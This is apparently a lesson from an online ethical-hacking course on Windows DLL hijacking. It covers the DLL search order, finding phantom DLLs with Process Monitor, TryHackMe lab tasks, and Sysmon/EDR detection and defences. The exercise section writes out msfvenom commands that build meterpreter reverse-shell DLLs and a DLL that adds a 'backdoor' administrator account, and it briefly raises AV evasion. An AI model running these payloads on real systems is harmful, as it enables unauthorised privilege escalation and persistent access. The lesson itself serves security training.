This article teaches Windows DLL hijacking—a privilege escalation technique exploiting the predictable order Windows searches for DLL files. When a privileged application loads a DLL by name without a full path and that DLL doesn't exist at an absolute location, an attacker can place a malicious DLL in a writable directory that appears earlier in the search order, causing the privileged application to execute the attacker's code. The technique is significant because it persists across reboots, is harder to detect than other persistence methods, and exists silently in dozens of legitimate Windows applications waiting for misconfigured directory permissions.
- Windows DLL search order creates predictable vulnerabilitiesWindows searches for DLLs without full paths in a defined sequence: application directory, System32, System, Windows directory, current working directory, then PATH environment variable directories. If an attacker can write to any directory appearing before the legitimate DLL's location, their malicious version loads first. The current working directory and PATH directories are common hijack points because standard users often have write permissions there.
- Phantom DLLs provide the most reliable attack vectorPhantom DLLs are applications that try to load DLLs that don't exist anywhere in the search path. These are ideal for hijacking because the malicious DLL doesn't need to export any functions the application expects—there is no legitimate version competing in the search order. Process Monitor filtered for 'NAME NOT FOUND' DLL load attempts surfaces every phantom DLL candidate from privileged processes in a single pass.
- Process Monitor discovery identifies exploitable opportunitiesSetting three filters (Operation=CreateFile, Result=NAME NOT FOUND, Path ends with .dll) reveals which privileged processes attempt to load missing DLLs. The article provides a PowerShell command to verify if identified directories are writable by low-privilege users. The three confirmation checks for exploitability are: the process runs at higher privilege than the current user, the directory is writable by the current user, and the DLL doesn't exist anywhere earlier in the search path.
- msfvenom generates DLL payloads in 32-bit and 64-bitThe article demonstrates msfvenom commands for reverse shell DLLs (windows/meterpreter/reverse_tcp payload in dll format) and simple command execution DLLs (windows/x64/exec with net user commands to add a backdoor account). For replacement hijacking where a legitimate DLL exists, the malicious DLL must export functions the application expects or the application crashes and alerts defenders. For phantom DLLs, no exports are required.
- Privilege context inheritance enables post-exploitationWhen a low-privilege user places a malicious DLL that loads in the context of a SYSTEM or admin process, the attacker's code executes at that privilege level. This transforms a low-privilege shell into a SYSTEM shell in one step. The trigger mechanism matters operationally—the DLL must be placed before the privileged process loads it, then either a scheduled restart, manual service restart, or user action causes the load.
- Blue team detection focuses on anomalous DLL pathsSysmon Event ID 7 (ImageLoad) logs all DLL loads with process, path, and hash. SIEM rules alert on DLLs loaded from user-writable directories (Users, Temp, AppData) by privileged processes. Event ID 7045 signals new service installations and should verify DLL paths are in System32. EDR solutions flag tiny msfvenom DLLs (typically 5–15KB) in system contexts, as legitimate Windows DLLs exporting multiple functions are usually 100KB–5MB.
- Defensive controls remove write permissions and restrict pathsPreventive measures include removing write permissions from non-admin users in PATH directories, configuring privileged services to use System32 as working directory, enabling SafeDllSearchMode registry setting, and implementing application whitelisting (AppLocker/WDAC) to block DLL loading from non-standard paths. Code signing requirements that only load Microsoft-signed DLLs eliminate unsigned payload DLLs.
- DLL hijacking persists through reboots like scheduled tasksThe article positions DLL hijacking as a persistence mechanism comparable to scheduled task persistence from Day 39, but 'harder to detect.' Unlike scheduled tasks visible in task scheduler, DLL hijacking hides in application load behavior and directory permissions. A forgotten legacy application running as SYSTEM with a helper DLL loaded from a user-writable directory can remain exploitable for years if not identified during assessments.
Bottom line: DLL hijacking succeeds when a privileged application loads a missing or user-replaceable DLL from a writable directory earlier in the Windows search order; systematic discovery via Process Monitor filtering for NAME NOT FOUND results combined with writable directory verification identifies exploitable opportunities, and msfvenom-generated DLLs placed in the hijackable path execute attacker code at the application's privilege level. Defenders must monitor Sysmon ImageLoad events from privileged p
Part of the Ethical Hacking Mastery Course — 100 Days
🎯 What You’ll Master in Day 40
⏱️ 40 min read · 3 exercises · Day 40 of 100
✅ Before You Start
- Day 39 — Scheduled Tasks & Cron — persistence via task scheduler. DLL hijacking is persistence and privilege escalation via a different mechanism: Windows DLL loading behaviour rather than the scheduler. Both survive reboots; DLL hijacking is harder to detect.
- Windows lab VM (TryHackMe works) · Kali Linux · Process Monitor (Sysinternals) on Windows · msfvenom
📋 Hacking Course Day 40 — DLL Hijacking
DLL hijacking follows the privilege escalation methodology from Day 39’s scheduled task persistence. The full privilege escalation toolkit is covered in the Privilege Escalation hub. The Kali Linux Commands reference has the full msfvenom DLL generation syntax.
Windows DLL Search Order
When a Windows application calls LoadLibrary(“example.dll”) without a full path, Windows searches directories in a specific order until it finds a matching DLL. The default search order creates the vulnerability: if an attacker can write to any directory that appears in this list before the directory containing the legitimate DLL, their malicious version is loaded first.
Finding DLL Hijacking Opportunities
Process Monitor is my primary discovery tool on Windows. Filtered to show “NAME NOT FOUND” DLL load attempts from privileged processes, it surfaces every phantom DLL — a DLL that an application tries to load but doesn’t exist anywhere in the search path. Each phantom DLL in a writable directory is a direct hijack opportunity.
⏱️ 15 minutes · No tools required
Understanding what to look for before opening Process Monitor saves hours in real engagements. Build the checklist I run on every Windows privilege escalation assessment.
You need to escalate to SYSTEM or local admin.
BUILD YOUR DLL HIJACKING CHECKLIST:
1. PRIVILEGED PROCESSES
Which Windows services run as SYSTEM by default?
How do you list them: sc query type=all state=all | ?
Why does a SYSTEM process loading a DLL from a writable dir = privilege esc?
2. WRITABLE DIRECTORIES
List 5 directories that are commonly writable by standard users on Windows.
Which of these appear in the default DLL search path?
3. PHANTOM DLL IDENTIFICATION
How do you filter Process Monitor to show only NAME NOT FOUND .dll results?
What combination of filters gives you clean, actionable output?
4. CONFIRMING EXPLOITABILITY
You found: svchost.exe tried to load C:\Temp\missing.dll (NAME NOT FOUND)
C:\Temp\ is writable by Users.
What 3 checks confirm this is exploitable before you generate a payload?
5. SCOPE OF IMPACT
If your malicious DLL runs in the context of svchost.exe (SYSTEM):
What can you do from that position that you couldn’t do as a low-priv user?
📸 Write your checklist. Share in #ethical-hacking.
Generating the Malicious DLL
Once I’ve identified a hijackable DLL path, I generate the payload with msfvenom. The key requirement for most hijacking scenarios is a DLL that also exports the functions the application expects — otherwise the application crashes when it loads my DLL and finds none of the expected exported functions. For phantom DLLs (where the DLL doesn’t exist at all), this doesn’t matter. For replacement hijacks, I need to proxy the real DLL’s exports.
⏱️ 25 minutes · tryhackme.com — Windows Privilege Escalation room
TryHackMe’s Windows privilege escalation room covers DLL hijacking in a real Windows environment with a working exploit chain. Work through the DLL hijacking section specifically.
(Alternatively “Windows Privesc Arena” or “Windows Local Privilege Escalation”)
Complete the DLL hijacking tasks:
Task: Identify the vulnerable application via Process Monitor
Task: Confirm the writable directory and search order position
Task: Generate payload DLL with msfvenom
Task: Place DLL and trigger execution
Task: Confirm privilege escalation (whoami output)
Key questions while working:
1. What process was loading the phantom DLL?
2. What privilege level did it run at?
3. What was the full path where you placed your DLL?
4. How did you trigger the application to reload the DLL?
5. What does ‘whoami’ show after the shell fires?
After completion: check Autoruns (Sysinternals) for DLL hijacking detections.
📸 Screenshot showing elevated shell (whoami = SYSTEM or admin). Share in #ethical-hacking.
Phantom DLLs — Missing DLLs in Privileged Paths
Phantom DLL hijacking is the most reliable variant because there’s no export compatibility requirement — the DLL doesn’t exist, so the application doesn’t expect any specific exports. Windows searches the path, finds my DLL, loads it, and my payload runs. The Process Monitor filter for “NAME NOT FOUND” surfaces all phantom DLL candidates in a single pass.
Detection and Defence
Detecting DLL hijacking requires monitoring DLL loads from unexpected paths. The blue team signals I monitor for are: DLLs loaded from user-writable directories by privileged processes, DLLs loaded from PATH directories that don’t match their expected hash, and new DLL files created in system directories by non-SYSTEM processes.
⏱️ 15 minutes · Kali Linux · msfvenom
Generate both payload types, examine their properties, and understand why the 64-bit version is needed for modern targets.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f dll -o /tmp/shell32.dll
ls -lh /tmp/shell32.dll
What is the file size?
Step 2: Generate 64-bit reverse shell DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f dll -o /tmp/shell64.dll
ls -lh /tmp/shell64.dll
What is the file size?
Step 3: Generate add-user DLL (no listener needed)
msfvenom -p windows/x64/exec CMD=’cmd.exe /c “net user backdoor P@ss123! /add && net localgroup administrators backdoor /add”‘ -f dll -o /tmp/adduser.dll
ls -lh /tmp/adduser.dll
Step 4: Compare with a legitimate DLL
ls -lh /usr/lib/x86_64-linux-gnu/*.so | head -5
Legitimate DLLs/SOs are typically much larger — why?
(Hint: legitimate DLLs export many functions; payloads only need to run once)
Step 5: Check detection with VirusTotal (OPTIONAL — only the adduser one)
Note: Never upload real target payloads to VT (signatures get burned)
Hypothetically: what AV evasion techniques would reduce detections?
Document: file sizes, architecture difference, and evasion note.
📸 Screenshot showing the three generated DLL files with sizes. Share in #ethical-hacking.
📋 DLL Hijacking Commands — Day 40
🏆 Day 40 Complete — DLL Hijacking
Windows DLL search order, Process Monitor discovery, phantom DLL identification, msfvenom payload generation, and the full blue team detection and defence stack. Day 41 moves to process injection — injecting shellcode directly into a running process’s memory space, bypassing DLL loading entirely.
🧠 Quick Check
❓ Frequently Asked Questions
What is DLL hijacking?
What is a phantom DLL?
How do you use Process Monitor to find DLL hijacking opportunities?
Do you need to proxy exports for DLL hijacking?
How is DLL hijacking detected by defenders?
Day 39: Scheduled Tasks & Cron Persistence
Day 41: Process Injection
📚 Further Reading
- Day 39 — Scheduled Tasks & Cron — The complementary Windows persistence mechanism. Scheduled tasks combined with DLL hijacking gives you two independent persistence paths — if one is detected and removed, the other survives.
- Privilege Escalation Hub — The complete Windows and Linux privilege escalation methodology. DLL hijacking is one of six primary Windows privesc vectors covered in the hub alongside service misconfigurations, token impersonation, and always-install-elevated.
- Kali Linux Commands Reference — Full msfvenom DLL generation syntax including payload options, architecture flags, and encoder options for AV evasion context.
- MITRE ATT&CK — T1574 Hijack Execution Flow — The authoritative ATT&CK reference for DLL hijacking and related execution flow hijacking sub-techniques. Documents real-world threat actor usage with procedure examples from documented campaigns.
- Microsoft — DLL Search Order Documentation — The official Windows documentation for DLL search order. The definitive reference for understanding exactly which directories Windows searches and in what order under different configurations.

